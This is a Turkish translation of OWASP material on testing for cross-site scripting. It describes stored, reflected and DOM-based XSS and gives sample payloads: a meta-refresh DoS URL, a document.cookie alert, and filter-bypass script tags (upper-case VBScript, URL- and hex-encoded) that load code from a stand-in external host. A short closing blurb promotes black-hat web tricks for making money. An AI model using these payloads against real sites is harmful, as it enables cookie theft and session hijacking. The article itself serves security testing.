Cross Site Scripting, belirli bir web sitesindeki müşterilerin kişisel gizliliklerinin hedef alındığı ve müşterilerin bilgilerinin çalındığı veya çeşitli şekilde manipüle edildiği zaman ortaya çıkan güvenlik ihlaline dayanan bir saldırı yöntemidir. “Saldırgan – web site” veya “saldırgan – kurban” ilişkisi gibi iki aşamalı olan birçok web saldırı yönteminden farklı olarak XSS açıkları; 3 bileşenle gerçekleştirilir: saldırgan, kurban ve web site. XSS saldırılarının amacı, kurban müşterinin cookielerini veya diğer önemli bilgilerini çalmaktır. Böylece aynı kurban adına her türlü işlemi gerçekleştirebilir.

Çevrimiçi mesajlaşma boardları, web logları, ziyaretçi defteri ve forumlar gibi mesajların kalıcı olarak depolandığı yerler de, Cross Site Scripting açığını kolaylaştırmaktadır. Bu durumlarda saldırgan, foruma, görünüşte tamamen zararsız olan bir siteye ait; fakat kullanıcıları hedef alacak şekilde şifrelenmiş bir script içeren herhangi link atabilir. Saldırganlar; zararlı scripti gizleyecek ve bazı durumlarda da <Script> tagının aleni kullanımını önleyecek çeşitli şifreleme yöntemlerine sahiptirler. XSS atakları genellikle zararlı javascript kodlarının kullanımı ile gerçekleştirilse de çalıştırılabilir herhangi bir içerikle de gerçekleştirilebilir. Her ne kadar bir çok tip karmaşık saldırı çeşidi olsa da XSS açıklarını tespit etmenin belli yöntemleri vardır.

3 tip XSS tipini görelim: Depolanmış(Gizli), Yansıtılmış(Aktive olmuş) ve DOM-Tabanlı

Depolanmış XSS açığı, bu saldırı türünün en güçlü örneğidir. Depolanmış XSS saldırısı; herhangi bir kullanıcı tarafından bir web uygulamasına ilk olarak bilgi girildikten sonra bu bilginin veritabanı, dosya sistemi veya diğer bölümlerde yani genel olarak server üzerinde depolanmasının ardından, bu bilginin şifrelenmemiş bir şekilde kullanıcılara gösterilmesi sonucu açığa çıkar. Gerçek yaşamdan örnek verirsek, Ekim 2005’te MySpace’te ortaya çıkan Samy solucanı, XSS açığını kullanıyordu.

Bu açıklar, XSS açığının en önemli tipini oluşturur. Çünkü saldırgan, scripti bir kereye mahsus enjekte edebilir. Sosyal mühendisliği yardımıyla da birçok kullanıcı bu olaydan etkilenebilir veya web uygulaması XSS virüsüne bile maruz kalabilir.

Örnek:

Elimizde, diğer kullanıcılara mesaj atmamızı sağlayan bir site olsun ve biz mesaj atmak yerine bir script enjekte edelim:

Şimdi server, bu bilgiyi depolayacak ve karşı taraftaki kullanıcı bu linke tıklayınca fake mesaj görünecek. Kurbanımızın tarayıcısı bizim scriptimizi aşağıdaki gibi çalıştıracak:

Yansıtılmış XSS açıkları ise çok daha fazla bilinen bir tiptir. Önceden veri girilmiş olan web istemcisinin, server-side(server aracılı) scriptlerle kullanılması sonucu ortaya çıkar. Eğer, kullanıcı tarafından girilen fakat onaylanmamış bilgiler; HTML kodlamasız olarak sayfada görülüyorsa; bu, client-side(istemci aracılı örn: tarayıcı kullanarak) kodların dinamik sayfalara eklenmesine izin verecektir. Bunun klasik örneği sitelerin arama bölümleri: Eğer bazı özel HTML karakterlerini de içeren karakter dizisini aratırsak, karşımıza neyi aradığımızı gösteren bir sonuç çıkacaktır. Eğer tüm arama kriterlerimiz veya karakterlerimiz; HTML kodlama ile görüntülenmezse, XSS açığı vardır diyebiliriz.

İlk bakışta, eğer kullanıcılar kendi sayfalarına sadece kod ekleyebiliyorlarsa, bu ciddi bir problem değildir diye düşünebiliriz. Fakat, basit bir sosyal mühendislik metoduyla saldırgan kurbana bir link gönderir. Bu link sonuç sayfasına kodlar enjekte edilmiş zararlı bir linktir ve saldırganın sayfadaki tüm içeriğe erişebilmesine olanak sağlar. Bu durumda kullanılması gereken sosyal mühendislik metodlarının genel gereksinimleri sebebiyle, bir çok programcı bu açıklara pek önem vermemiştir. Bu önemsenmeyen açıklardan biri de XSS’dir ve XSS’nin önemiyle ilgili hep anlaşmazlıklar olmuştur. XSS açığının önemini göstermek için en basit yol, DoS ataklarıdır. Bazı durumlarda aşağıdaki yöntem kullanılarak server üzerinde DoS atağı gerçekleştirilebilir.

article.php?title=<meta%20http-equiv="refresh"%20content="0;">

Bu kod, hedef sayfa üzerinde her 0.3 saniyede bir sayfanın yenilenmesi isteğini gönderecektir. Bu sınırsız yenilenme isteklerinin meydana getirdiği flood sebebiyle, web sayfasının ve veri tabanı serverının işlemesi duracaktır. Daha fazla tarayıcı oturumunun olması bu saldırının şiddetini artıracaktır.

DOM-Tabanlı XSS problemi ise, bir sayfanın client-side(istemci tabanlı örn: tarayıcı kullanarak) scriptinde kendiliğinden olur. Elimizdeki bir javascript, herhangi bir bağlantı(link) istek parametresine(Örn: rss feed) erişirse ve kendi sayfasına bazı HTML kodları yazmasını sağlamak için bu bilgileri kullanırsa; bu bilgiler HTML kullanılarak kodlanmaz. Önceden yazılmış olan bu veri ve buna ek olarak bazı istemci tabanlı scriptler de içerebilen HTML kodu olarak tarayıcı tarafından yeniden yorumlanır. Bu açık türü, Yansıtılmış XSS açığına çok benzeyebilir; fakat bir önemli durum hariç:

Örneğin, eğer açığı olan bir siteye ait link içeren zararlı bir siteye sahip olan saldırgan, script enjekte edebilir ve bu script kullanıcının tarayıcısında çalıştırılabilir. Bu olay, XSS exploitleriyle normalde zaten bypassa uğrayan çapraz domain sınırlaması da dahil, tüm istemci tabanlı kodları bypass edecektir.

Bu enjeksiyonların birçok metodu vardır. Basit sitelerdeki kullanımının dışında bir organizasyonu nasıl etkilediğini gösteren bir örnek verecek olursak, BlackHat Amerika 2006 da Jeremiah Grossman tarafından gösterilen olayı söyleyebiliriz. Bu ispatlama yapılırken çeşitli bloglara, gazetelere veya web sayfaların yorum kısmına depolanmış XSS scripti içeren kodlar gönderilmiştir ve bu zararlı kodların bulunduğu sayfaları ziyaret eden kullanıcıların ağları belirli açıklara karşı taranabilmiş ve loglanmıştır.

Black Box testi ve örnek:

XSS açığını test etmenin yolu; bir uygulamanın veya web serverın, herhangi bir tarayıcı tarafından çalıştırılabilen basit scriptler içeren isteklere karşı vereceği cevabı doğrulamakla olur. Örneğin Sambar Server v5.3, XSS açığının bilindiği çok popüler ücretsiz bir web serverdır. Servera aşağıdaki gibi bir istek gönderirsek, tarayıcı tarafından çalıştırılan bir server cevabı alırız.

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>

Bu script tarayıcı tarafından çalıştırılacaktır çünkü uygulama, orijinal scripti içeren bir hata mesajı verecektir. Böylece tarayıcı bu cevabı, serverdan kaynaklanan çalıştırılabilir bir script olarak yorumlayacaktır. Tüm web serverlar ve web uygulamaları potansiyel olarak bu açıklara karşı zayıftır ve bu ataklara karşı önlem almak oldukça zordur.

Örnek 1:

Javascript büyük harf/küçük harf duyarlılığına sahip olduğundan bu yana bazı kişiler XSS ye karşı önlem almak için tüm karakterleri büyük harfe dönüştürmüşlerdir. Eğer böyle bir şey düşünüyorsanız harf duyarlılığına sahip olmayan bir dil olan VBScript’i kullanabilirsiniz.

JavaScript:

<script>alert(document.cookie);</script>

VBScript:

<script type=”text/vbscript”>alert(DOCUMENT.COOKIE)</script>

Örnek 2:

Eğer sitesini XSS’ye karşı korumak isteyenler “<”, “<script”, “</script>” gibi karakterlere karşı önlem almışlarsa çeşitli şifreleme yolları deneyebilirsiniz.

<script src=http://www.example.com/malicious-code.js></script>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e

Cross Site Scripting Testi

Kaynak: http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

Çeviri: Serdar BARAKLI

Eğer Web üzerinde sessizce ve hile yollarını kullanarak ciddi paralar kazanmak istiyorsanız, Cross-Site Scripting(XSS) veya SQL Injection atakları yapmanıza gerek yok. Tüm ihtiyacınız olan şey; bir Web tarayıcı, neyi aradığınıza bağlı olarak birkaç ipucu ve biraz da siyah şapkalı hacker hileleri.

Yapılacak olan bu iş, teknik bakımdan illegal değil; yalnızca servis koşullarını ihlâl etmek kapsamına girer. Bu şartlar altında kulağa çok akademik ve iyi niyetli olarak gelebilir; ama bunlar herkesin bildiği eski Web atak tekniklerine benzemez. Çünkü bir sistemle uğraşmak ve para kazanmak bu kadar kolay olmayabilir. Bunların yanında da Plus IDS bu atakları tespit edemeyebilir ve Web uygulamalarının güvenlik duvarları onları bloklayamayabilir. Bu yüzden bu tip atakların tespit edilebilmesi çok da zordur. Artık videoya geçelim ve nelerin mümkün olabileceğini görelim.

Kaynak: http://www.net-security.org/secworld.php?id=7177
Çeviri: Serdar BARAKLI